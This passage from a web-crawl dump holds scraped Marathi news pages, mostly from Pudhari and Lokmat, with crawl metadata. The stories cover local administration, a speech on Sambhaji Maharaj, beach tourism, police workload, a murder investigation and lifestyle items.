अनुक्रमे 3 हजार 430 व 20 हजार 650 रुपये दंड करण्यात आला होता. डोणगाव येथील खेमानंद दूध उत्पादक संस्थेचे बाळासाहेब यादव यांनी सुरू केलेल्या छावणीस 17 हजार 415 रुपये दंड करण्यात आला होता. खर्डा येथील छत्रपती शिक्षण व आरोग्य प्रसारक मंडळाचे विजय गोलेकर यांनी खर्डा येथे छावणी सुरू केली होती. त्यांना 4 हजार 630 व 4 हजार 200 रुपये दंड करण्यात आला होता. मुंगेवाडी येथील कानिफनाथ मजूर सह. संस्थेचे भास्कर गोपाळघरे यांच्या छावणीस 650 रुपये दंड करण्यात आला होता. वरील पाच छावणीचालकांवर फौजदारी गुन्हे दाखल झाले आहेत. काही छावणीचालकांना या कारवाईतून वगळण्यात आल्याचा आरोप करून, या प्रकरणी न्यायालयाच जाण्याचा इशारा काही संघटनांनी दिला आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00251.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Belgaon/MP-Sambhaji-Raje-Belgaum/", "date_download": "2018-09-25T17:06:57Z", "digest": "sha1:7IHI2IKT2SGT3JDBSK6DWCWKO7ZX4T7O", "length": 6624, "nlines": 36, "source_domain": "www.pudhari.news", "title": " ‘सुराज्या’साठी धर्मवीर संभाजी महाराजांचे योगदान : खा. संभाजीराजे | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Belgaon › ‘सुराज्या’साठी धर्मवीर संभाजी महाराजांचे योगदान : खा. संभाजीराजे\n‘सुराज्या’साठी धर्मवीर संभाजी महाराजांचे योगदान : खा. संभाजीराजे\nधर्मवीर संभाजी महाराजांनी बहुजनांच्या हिताची अनेक कामे केली. स्वराज्याचे सुराज्य व्हावे यासाठी त्यांनी केलेले कार्य महान आहे. त्यांनी लहान वयात अनेक ग्रंथ लिहून समाजाला जागृत केले, असे विचार कोल्हापूरचे खा. संभाजी राजे यांनी मांडले. येथील बहुजन जागृती विचार संघाच्यावतीने आयोजित बहुजन महामेळाव्यात ते बोलत होते.\nमेळाव्याच्या अध्यक्षस्थानी मंगसुळीचे सरकार विक्रांत पवार-देसाई होते. व्यासपीठावर पीएसआय जी. एस. बिरादार, वैशालीताई डोळस (औरंगाबाद), अमोल मेटकरी (अकोला), अभयसिंह पाटील, सुयोग औंधकर, ग्रा. पं. अध्यक्ष बाळासाहेब पाटील उपस्थित होते. विविध जातीधर्मातील प्रमुख व्यक्तींचा तसेच समाजसेवक, कलाकार, साहित्यिक, आदर्श माता, आदर्श पुत्र, कन्या आदींचा मान्यवरांच्या हस्ते मानचिन्ह देऊन सत्कार करण्यात आला.\nमुख्य वक्ते म्हणून अमोल मिटकरी म्हणाले की, महाराजांविषयी लिहिलेल्या जीवनपटात अनेक तफावती असल्याने मराठा समाजमनावर दुःखाचा डोंगर कोसळला आहे. मराठ्यांची मने चलबिचल करणारी पुस्तके छापली जातात. संभाजी महाराज हे रयतेचे राजे होते. मात्र काही समाजकंटकांनी अर्थाचा अनर्थ करून पुस्तके छापल्यामुळे तसेच टीव्हीच्या माध्यमातून होणार्‍या प्रसारणामुळे त्यांच्या सत्वशील चारित्र्याला गालबोट लागल्यासारखे वाटते. संभाजी महाराज धार्मिक होते, धर्मांध नव्हते. व्याख्यात्या वैशाली डोळस यांनी ‘स्त्री-काल, आज आणि उद्या’ या विषयावर भाषण केले. त्या म्हणाल्या, शिक्षणप्रेमी सावित्रीबाई फुले यांचा आदर्श घेणे आवश्यक आहे.\nमहिलांनी चूल, मूल सांभाळण्यापेक्षा समाजात मानाचे स्थान मिळविण्यासाठी पुरुषांप्रमाणे समाजात वावरायला हवे. देशात स्त्री देवतांची मंदिरे सर्वाधिक आहेत. स्त्री ही घरची कुलस्वामिनी आहे. तिला सन्मानानेच वागविले पाहिजे, असे डोळस म्हणाल्या.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00251.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Establishment-of-Education-Committee/", "date_download": "2018-09-25T17:54:14Z", "digest": "sha1:UN6UMIIFM4RTWUJ2G2TGFXG3PANT43YR", "length": 9138, "nlines": 53, "source_domain": "www.pudhari.news", "title": " पुण्याच्या धर्तीवर शिक्षण समिती स्थापणार | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › पुण्याच्या धर्तीवर शिक्षण समिती स्थापणार\nपुण्याच्या धर्तीवर शिक्षण समिती स्थापणार\nमहापालिकेच्या शिक्षण समिती स्थापनेस विधी समितीने मान्यता दिली आहे; मात्र सदर प्रस्ताव सर्वसाधारण सभेत तहकूब करण्यात आला. पुणे महापालिकेच्या धर्तीवर कार्यकर्त्यांची संख्या चारवरून अधिक करण्यात येणार आहे. त्यामुळे भाजपचे पदाधिकारी व कार्यकर्त्यांचे पुनर्वसन करण्याच्या हालचालींना वेग आला आहे.\nस्थानिक स्वराज्य संस्थाशी निगडित असलेल्या शिक्षण मंडळाच्या कारभारात गैरव्यवहार होत असल्याची अनेक प्रकरणे समोर आल्याने, राज्यातील सर्व शिक्षण मंडळे बरखास्त करावीत, असा आदेश उच्च न्यायालयाने दोन वर्षांपूर्वी दिला होता. राज्य सरकारने याबाबत निर्णय घ्यावा, असेही न्यायालयाने स्पष्ट केले होते. पालिकेतील शिक्षण मंडळाचा कार्यकाल 1 जून 2017 ला संपला.\nआयुक्तांच्या 2 जून 2017 च्या आदेशानुसार शिक्षण मंडळ बरखास्त करण्यात आले आणि मंडळाच्या अधिपत्याखालील मालमत्ता व कर्मचारी आयुक्तांनी स्वत:च्या अधिकार कक्षेत घेतले.शिक्षण मंडळाऐवजी विविध विषय समित्यांप्रमाणे शिक्षण समिती स्थापनेच्या हालचाली सत्ताधार्‍यांनी सुरू केल्या आहेत. त्यानुसार विधी समितीमध्ये 9 नगरसेवकांसह 4 शिक्षण क्षेत्रातील संस्थांचे पदाधिकारी अशा एकूण 13 सदस्यांची समिती बनविण्याचा प्रस्ताव मंजूर करण्यात आला होतो. समितीने शिफारस करून तो मंजुरीसाठी पालिका सर्वसाधारण सभेकडे पाठविला होता; मात्र 28 नोव्हेंबरला झालेल्या सर्वसाधारण सभेत सदर विषय सत्ताधार्‍यांनी अचानक तहकूब केला. त्यामुळे शिक्षण समिती स्थापनेचा विषय पुढे ढकलण्यात आला आहे.\nदरम्यान, पुणे पालिकेच्या धर्तीवर शिक्षण समिती स्थापन करण्यात येणार आहे. पक्षाच्या अधिकाधिक पदाधिकारी व कार्यकर्त्यांना संधी मिळावी म्हणून चारवरून ही संख्या अधिक केली जाणार आहे.\nशैक्षणिक आणि सामाजिक क्षेत्रातील संस्थेत किमान तीन वर्षांचा अनुभव असलेली व्यक्ती असावा, अशी सदस्य निवडीची अट आहे. त्यानुसार पक्षाचे अधिकाधिक पदाधिकारी व कार्यकर्त्यांना शिक्षण समिती सदस्य म्हणून निवड करून त्यांचे पुनर्वसन करण्याच्या हालचाली भाजपचा आहेत. त्यानुसार नव्या प्रस्तावाला येत्या सर्वसाधारण सभेत मान्यता दिली जाण्याची शक्यता आहे. यासंदर्भात सत्तारूढ पक्षनेते एकनाथ पवार यांनी सांगितले की, पुणे महापालिकेच्या वतीने स्थापन करण्यात येणार्‍या शिक्षण समितीप्रमाणे पिंपरी-चिंचवड महापालिकेची शिक्षण समिती गठित केली जाणार आहे. त्यासाठी पालकमंत्री गिरीश बापट यांचे मार्गदर्शन घेतले जाईल.\nदोन्ही महापालिकांत एकसारखी सदस्यांची समिती गठित केली जाईल. नगरसेवकांच्या संख्येसोबत पदाधिकार्‍यांची संख्या वाढविण्याचा विचार आहे. त्यामुळे समितीवर अनेकांना काम करण्याची संधी मिळणार आहे.\nपुण्यात पावसाची दमदार हजेरी\n‘स्मार्ट सिटी’ची बैठक गुंडाळली\nआधारच्या मशिन दुरुस्त करण्यास केंद्राची परवानगी\nपुणे विभागात ‘कोच वॉशिंग प्लान्ट’ची आवश्यकता\nबेकरी कारखान्याला आग; साहित्य खाक\nराजेश बजाजचा जामीन दुसर्‍यांदा फेटाळला\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00251.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://m.divyamarathi.bhaskar.com/business", "date_download": "2018-09-25T16:43:19Z", "digest": "sha1:7DUATYL7KOBTTDTLNYXAUEBVI3NVTW3M", "length": 3781, "nlines": 39, "source_domain": "m.divyamarathi.bhaskar.com", "title": "Marathi Business News | व्यापार बातम्या | Divya Bhaskar", "raw_content": "\nसेव्हिंग अकाऊंटवर मिळेल फिक्स्ड डिपॉझिटसारखे रिटर्न, तुमच्यासमोर आहेत हे 3 ऑप्शन\nAyushman Bharat: पंतप्रधान मोदींचे लेटर मिळाले का, QR कोडने होईल ओळख\nया दिवाळीला 5 लाखांपेक्षा कमी किमतीत खरेदी करा कार, Maruti Suzuki Swift ची लिमिटेड एडिशन ऑफर\nक्राइम ब्रांचने जारी केली पालकांसाठी वॉर्निग: व्हॉट्सअपवर ही लिंक पाठवून मुलाची होतेय फसवणूक, राहा Alert\nअरबी Prince ने मित्रांना दिले 42 लाख रुपयांचे डिनर, एका डिशची किंमत सव्वा बारा लाख\nफोनची चार्जिंग करताना या गोष्टींकडे ठेवा लक्ष, दिर्घकाळ टिकेल फोनची बॅटरी\nसेन्सेक्स १,४९५ अंकांनी कोसळून सावरला; वित्तीय कंपन्यांच्या शेअर्सवर गंभीर परिणाम\nयांना झोपायचेही मिळतात पैसे.. त्यांचे कामच ते आहे.. जाणून घ्या जगातील अशाच काही नोकऱ्यांबाबत\nचुकूनही पेपर आणि कपड्याने स्वच्छ करु नका कारचा ग्लास, जाणुन घ्या या Tips\n​डिलीट केल्यानंतरसुध्दा स्मार्टफोनमध्ये सेव्ह राहतो डाटा, असा करा परमानंट Delete\nबाईकमध्‍ये रोज पेट्रोल भरण्‍याची गरज पडणार नाही, आजच करा हे काम\nSBI ची खास स्कीम, अकाऊंटमध्ये झिरो बॅलेन्स असले तरी याठिकाणाहून काढता येईल पैसे, बँकेत जायची गरज नाही\nभारतातील स्वस्त कारच्या लिस्टमध्ये आहे Maruti ची ही कार, मायलेज 31km पेक्षा जास्त आणि पॉवरफुल\nअॅडव्हॉन्स आणि लक्झरी फीचर्ससह लवकरच लॉन्च होईल Maruti ची लिमिटेड एडिशन कार, मिळेल 26 KMPL चे मायलेज\nलवकरच लाँच होणार आहेत या 4 दमदार कार, टाटापासून फोर्डपर्यतचे मॉडेल उपलब्ध, किंमतही असेल कमी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00252.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/Nirmal-Sea-coast-campaign-by-Maritime-Board/", "date_download": "2018-09-25T16:55:11Z", "digest": "sha1:XFCU6QVFWOY2YNMA244CJVYEJAS2MQGW", "length": 7888, "nlines": 36, "source_domain": "www.pudhari.news", "title": " पर्यटकांच्या स्वागतासाठी २६ किनारे सज्ज | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › पर्यटकांच्या स्वागतासाठी २६ किनारे सज्ज\nपर्यटकांच्या स्वागतासाठी २६ किनारे सज्ज\nसमुद्रकिनार्‍यांवर सुविधा पुरविताना पर्यटकांना आकर्षित करून घेण्यासाठी मेरिटाईम बोर्डाने निर्मल सागर तट अभियानातून गेले काही महिने विशेष मेहनत घेतली आहे. त्यामुळे जिल्ह्यातील 26 किनारे पर्यटकांच्या स्वागतासाठी सज्ज झाले आहेत. सुविधा, सुरक्षा आणि रोजगार या तीन गोष्टींसाठी या किनार्‍यांवर पावणे दोन कोटी रुपये खर्च करण्यात आले आहेत. उन्हाळी सुट्टीत येणार्‍या पर्यटकांना निश्‍चितच किनार्‍यांवरील बदल भावणार आहेत.\nसागरी मंडळामार्फत निर्मल सागर तट अभियान योजना जिल्ह्यातील 26 किनारी भागात राबविली जात आहे. या ग्रामपंचायतींना 3 कोटी 30 लाख रुपयांचा निधी मंजूर झाला आहे. पहिल्या टप्प्यात चाळीस टक्के म्हणजे 1 कोटी 32 लाख रुपये आणि दुसर्‍या टप्प्यात 1 कोटी 77 लाख रुपये वितरित केले. आतापर्यंत विविध कामांसाठी 1 कोटी 89 लाख 37 हजार 297 रुपये खर्ची टाकण्यात आले आहेत. भाट्ये, रनपार, वायंगणी, मिर्‍या, काळबादेवी, वारे, मालगुंड, गणपतीपुळे, नेवेर, नांदिवडे, वेळणेश्‍वर, हेदवी, पालशेत, कोळथरे, आंजर्ले, मुरुड, हर्णै, केळशी, वेळास, गणेशगुळे, पूर्णगड, गावखडी, आंबोळगड, वाडातिवरे, जैतापूर, वाडापेठ, कशेळी या किनार्‍यांवर मेरिटाईम बोर्डाने सोयी-सुविधा उपलब्ध केल्या आहेत. समुद्रकिनारा स्वच्छ आणि निर्मल राहण्याकरिता पर्यटकांशी संवाद साधण्यात आला.\nपावसाळ्यात भरतीच्या लाटांमुळे किनार्‍यांची धूप होते. ती टाळण्यासाठी किनार्‍यावर झाडे लावणे, वाळूशिल्प उपक्रम राबविण्यात येत आहेत. किनार्‍यावर पर्यटकांना सावलीसाठी छोट्या छत्र्या, वॉच टॉवर, जीवरक्षक, लाईफ जॅकेट, बोया, प्रथमोपचार किट, सागरी सुरक्षा साहित्य, वाहनतळ, धार्मिक विधीसाठी शेड, कचरा ट्रॉली ठेवण्यात आले आहे. किनार्‍यावरील सनसेट पॉइंटचा आनंद घेता यावा, यासाठी आवश्यक शेडही उभारण्याचे काम या माध्यमातून हाती घेण्यात आले आहे.\nपर्यटनवाढीसाठी राबविलेल्या उपक्रमात सर्वाधिक चांगले काम करणार्‍या ग्रामपंचायतीचा पुरस्कार देऊन गौरव करण्यात येणार आहे. त्याचे सर्वेक्षण एप्रिल महिन्यात केले जाणार आहे. त्यासाठी त्रयस्थ समितीकडून किनार्‍यांची पाहणी केली जाणार आहे. पर्यटकांचा प्रतिसाद, केलेली कामे, रोजगार निर्मितीसाठी राबविलेल्या उपक्रमांचे फलित याची तपासणी यामध्ये होईल. यातून उत्कृष्ट ग्रामपंचायतींसाठी जिल्हा आणि राज्यस्तरावर मूल्यांकन होणार असून यामुळे जिल्ह्यातील 26 समुद्रकिनार्‍यांना झळाळी मिळाली असून हे किनारे उन्हाळी हंगामात येणार्‍या पर्यटकांसाठी सज्ज झाले आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00254.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Bhigwan-police-the-girl-body/", "date_download": "2018-09-25T17:40:01Z", "digest": "sha1:3AWTBXOTBUWTWO7QVEM7RNP7Z7AZF2UC", "length": 5978, "nlines": 36, "source_domain": "www.pudhari.news", "title": " मुंडके, हात-पाय छाटलेले मुलीचे धड मिळाले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › मुंडके, हात-पाय छाटलेले मुलीचे धड मिळाले\nमुंडके, हात-पाय छाटलेले मुलीचे धड मिळाले\nअतिशय क्रूरपणे खून केलेले म्हणजे मुंडके, हात-पाय छाटलेले अंदाजे 25 ते 30 वर्षीय तरुणीचे धड भिगवण पोलिसांना शनिवारी (दि. 5) मिळून आले आहे. बारामती-नगर मार्गावरील जुने भिगवण येथील पुलाजवळ पाण्यात हे धड मिळून आले असून, या गूढ खुनाचा तपास करण्याचे मोठे आव्हान पोलिसांसमोर उभे राहिले आहे. या घटनेची माहिती समजताच अप्पर पोलिस अधीक्षक डॉ. संदीप पखाले, बारामतीचे विभागीय पोलिस अधिकारी बापू बांगर यांनी घटनास्थळी भेट देऊन पाहणी केली आहे.\nजुने भिगवण येथील पुलापासून जवळच अंतरावर मुंडके, दोन्ही वेगवेगळे हात, मानेपासून खालचा ते कंबरेवरील धड असे शरीराचे अवयव असणारा मृतदेह असल्याची गोपनीय माहिती पोलिसांना मिळाली. यावरून भिगवणचे सहायक पोलिस निरीक्षक नीलकंठ राठोड, बी. एन. पवार, अनिल सातपुते, रमेश भोसले, श्रीरंग शिंदे, गोरख पवार, नवनाथ कदम यांनी तत्काळ घटनास्थळी धाव घेऊन पंचनामा केला आहे.\nहे धड पाण्याबाहेर काढल्यानंतर इंदापूर येथे ग्रामीण रुग्णालयात शवविच्छेदन व इतर वैद्यकीय तपासण्यासाठी पाठवण्यात आले. त्यानंतर सदरचे मिळून आलेला शरीराचा अवयव हा स्त्री जातीचा व 25 ते 30 वयोगटातील असल्याचे पुढे आले आहे. डॉ. संदीप पखाले, बापू बांगर यांच्या मार्गदर्शनाखाली घटनेच्या तपासासाठी तीन पथके वेगवेगळ्या भागात रवाना करण्यात आली आहेत. मुळात कोणताही पुरावा मागे ठेवण्यात आला नाही. तसेच ओळख पटण्यासारखेही काही नसल्याने या खुनाचा तपास लावणे भिगवण पोलिसांसमोर मोठे आव्हान आहे. दरम्यान, भिगवण पोलिसात अज्ञात व्यक्तीविरुद्ध खुनाचा गुन्हा दाखल करण्यात आल्याचे सहायक पोलिस निरीक्षक नीलकंठ राठोड यांनी सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00254.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/The-technique-is-not-a-mechanism-to-reduce-stress/", "date_download": "2018-09-25T16:52:40Z", "digest": "sha1:PHFLYWSY2NDD3WTDEQGA5QMEOJBIKUPX", "length": 8186, "nlines": 39, "source_domain": "www.pudhari.news", "title": " तंत्र वाढले; ताण कमी करण्याचा मंत्रच नाही | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › तंत्र वाढले; ताण कमी करण्याचा मंत्रच नाही\nतंत्र वाढले; ताण कमी करण्याचा मंत्रच नाही\nपुणे : अक्षय फाटक/ज्ञानेश्‍वर भोंडे\nसीसीटीव्हीमुळे तपासामध्ये होणारी मदत, राज्यभरातील गुन्हेगारांची एका क्‍लिकवर मिळणारी माहिती, सायबर क्राईम आणि इतर जवळपास सर्वच विभागात अत्याधुनिक तंत्रज्ञानामुळे पोलिस यंत्रणेला तांत्रिक बळ मिळाले असले तरी वाढत्या नागरीकरणाच्या तुलनेत अपुरी कर्मचारी संख्या, वाढलेले काम आणि गुन्हेगारी नियंत्रणात आणण्यासाठी पोलिसांच्या नाकीनऊ येत आहे. त्यामुळे पोलिसांवर ताण मात्र वाढत असल्याचे दिसून येत आहे.\nशिक्रापूर पोलिस ठाण्यात कार्यरत असणारे पोलिस कॉन्स्टेबल प्रल्हाद सातपुते यांनी गळफास लावून आत्महत्या केली आहे. त्यावरून पोलिसांमधील ताण वाढल्याचे दिसून येत आहे. तंत्रज्ञानाच्या युगात बदलत्या गुन्ह्यांच्या पद्धतीमुळे प्रशासन पोलिस दलात अत्याधुनिक तंत्रज्ञानाचा वापर करून स्मार्ट पोलिसिंगवर भर देत आहे. वाढत्या तंत्रज्ञानामुळे पोलिसांचेच काम सोपे झाले आहे. नागरिकांचे काही हरवले असल्यास त्यांना पोलिस ठाण्यात जाऊन तक्रार द्यावी लागत होती. पण, आता नागरिकांना पोलिस दलाच्या संकेतस्थळावरच याची तक्रार करता येत आहे. शहरात वर्षाला हजारो अशा घटनांची माहिती लिहून घेण्याचा ताण वाचला आहे.\nगेल्या तीन वर्षांत स्मार्ट पोलिसिंगसाठी पोलिस दलात मोठे बदल केले आहे. अत्याधुनिक तंत्रज्ञानाचा वापर करण्यात येत आहे. त्यामध्ये ‘सीसीटीएनएस’ तर नागरिकांसाठी ऑनलाईन तक्रार पोर्टल, त्यासोबतच राज्यातील गुन्हेगारांची एकाच ठिकाणी माहिती यासारखे अनेक उपक्रम सुरू करण्यात आले आहेत. एकीकडे तंत्रज्ञानाच्या वापरावर भर देण्यात येत असताना पोलिसांवरील कामाचा ताण मात्र काही केल्या कमी झालेला नाही. याचे मुख्य कारण वाढलेली लोकसंख्या, गुन्हेगारी व त्या तुलनेत पोलिस दलातील अपुरे मनुष्यबळ, इतकेच काय गुन्ह्यांच्या तपासासोबतच उत्सवात दिवस रात्र करावी लागणारा बंदोबस्त आणि व्हीआयपींच्या बडदास्तीसाठी कायमच तैनात असणारे पोलिस या व इतर कारणांमुळे पोलिसांचा ताण काही कमी होण्याचे नाव घेत नाही.\nपोलिसांना सकाळी कामावर आल्यानंतर घरी परत जाईपर्यंत किती वेळ होईल हे सांगता येत नाही. बारा तासांची ड्यूटी बहुतांश वेळा 18 तासांहूनही अधिक होते. बंदोबस्त, धावपळ, गुन्हेगारांचा माग यासोबतच अपूर्ण कामे पूर्ण करण्यासाठी वरिष्ठांचा असणारा धाक आदींमुळे या तणावात आणखीनच भर पडत आहे. यामुळे जेवणाच्या, झोपण्याच्या वेळा अनिश्‍चित असतात. या कारणांमुळे आरोग्याकडे होणारे दुर्लक्ष, व्यायामाचा अभाव यामुळे पोलिसांमध्ये मधुमेह, रक्‍तदाब या व्याधींचे प्रमाण वाढत आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00254.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/lifestyle/health-beauty-hacks-in-hurry-time-275602.html", "date_download": "2018-09-25T17:38:37Z", "digest": "sha1:BP7FYEL7DQ24PFI67ZHATJRC3F4DZUEY", "length": 2094, "nlines": 25, "source_domain": "lokmat.news18.com", "title": "Lokmat News - सकाळी कामाला जाताना वापरा 'या' ब्युटी टिप्स–News18 Lokmat", "raw_content": "\nसकाळी कामाला जाताना वापरा 'या' ब्युटी टिप्स\nचेहऱ्याचं सौंदर्य जपायचं असेल तर आपल्या त्वचेला पुरेस पोषण मिळणं खूप महत्त्वाचं आहे. त्यासाठी रात्रीच त्वचेला मॉश्चराईज करा. त्याने सकाळी त्वचा अगदी खुलून येईल.\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00254.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://lokmat.news18.com/program/article-67626.html", "date_download": "2018-09-25T16:49:25Z", "digest": "sha1:7F2M4JFCVARGWSUTEKLFO724FXO6N4WX", "length": 20100, "nlines": 168, "source_domain": "lokmat.news18.com", "title": "गर्जा महाराष्ट्र : होमी भाभा विज्ञान शिक्षण केंद्र", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द 